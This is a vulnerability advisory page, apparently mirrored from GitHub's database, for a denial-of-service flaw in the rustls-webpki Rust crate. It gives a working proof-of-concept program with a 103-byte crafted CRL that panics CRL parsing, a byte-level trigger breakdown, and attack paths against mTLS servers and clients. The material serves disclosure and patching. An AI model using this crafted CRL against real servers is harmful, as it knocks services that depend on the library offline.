GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-82J2-J2CH-GFR8

Vulnerability from github – Published: 2026-04-24 16:20 – Updated: 2026-04-24 16:20
VLAI
Summary
rustls-webpki: Denial of service via panic on malformed CRL BIT STRING
Details

Summary

bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.

Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.

AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.

Details

bit_string_flags() in src/der.rs reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:

if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
    return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1];  // ← crash

misses the case padding_bits == 0 && raw_bits.is_empty(). When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic

Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615

PoC

Cargo.toml:

[dependencies]
rustls-webpki = "0.102.8"   # also reproduces on 0.103.12

src/main.rs:

fn main() {
    let crl: &[u8] = &[
        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x03, 0x02, 0x00, 0x00,
    ];
    // Panics — never returns
    let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}

output:

thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615

Trigger

a0 10            -- cRLExtensions [0] EXPLICIT
  30 0e          -- SEQUENCE OF Extension
    30 0c        -- Extension SEQUENCE
      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
      04 05            -- OCTET STRING (extnValue)
        30 03          -- IssuingDistributionPoint SEQUENCE
          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
                       --   padding_bits=0, data=[]  ← TRIGGER

Impact

  • Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
  • Attack paths:
    • mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
    • TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls-webpki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.103.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls-webpki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.104.0-alpha.1"
            },
            {
              "fixed": "0.104.0-alpha.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:20:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() \u0026\u0026 padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // \u2190 crash\n```\nmisses the case `padding_bits == 0 \u0026\u0026 raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 \u2014 passes the \u003e 7 check \u2713\n- raw_bits = [] \u2014 passes is_empty() \u0026\u0026 != 0 check \u2713 (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow \u2192 usize::MAX\n- raw_bits[usize::MAX] \u2192 panic\n\n\nDebug:   thread \u0027main\u0027 panicked: attempt to subtract with overflow\nRelease: thread \u0027main\u0027 panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: \u0026[u8] = \u0026[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics \u2014 never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread \u0027main\u0027 panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  \u2190 TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs \u2014 common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker\u0027s CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
  "id": "GHSA-82j2-j2ch-gfr8",
  "modified": "2026-04-24T16:20:17Z",
  "published": "2026-04-24T16:20:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustls/webpki"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…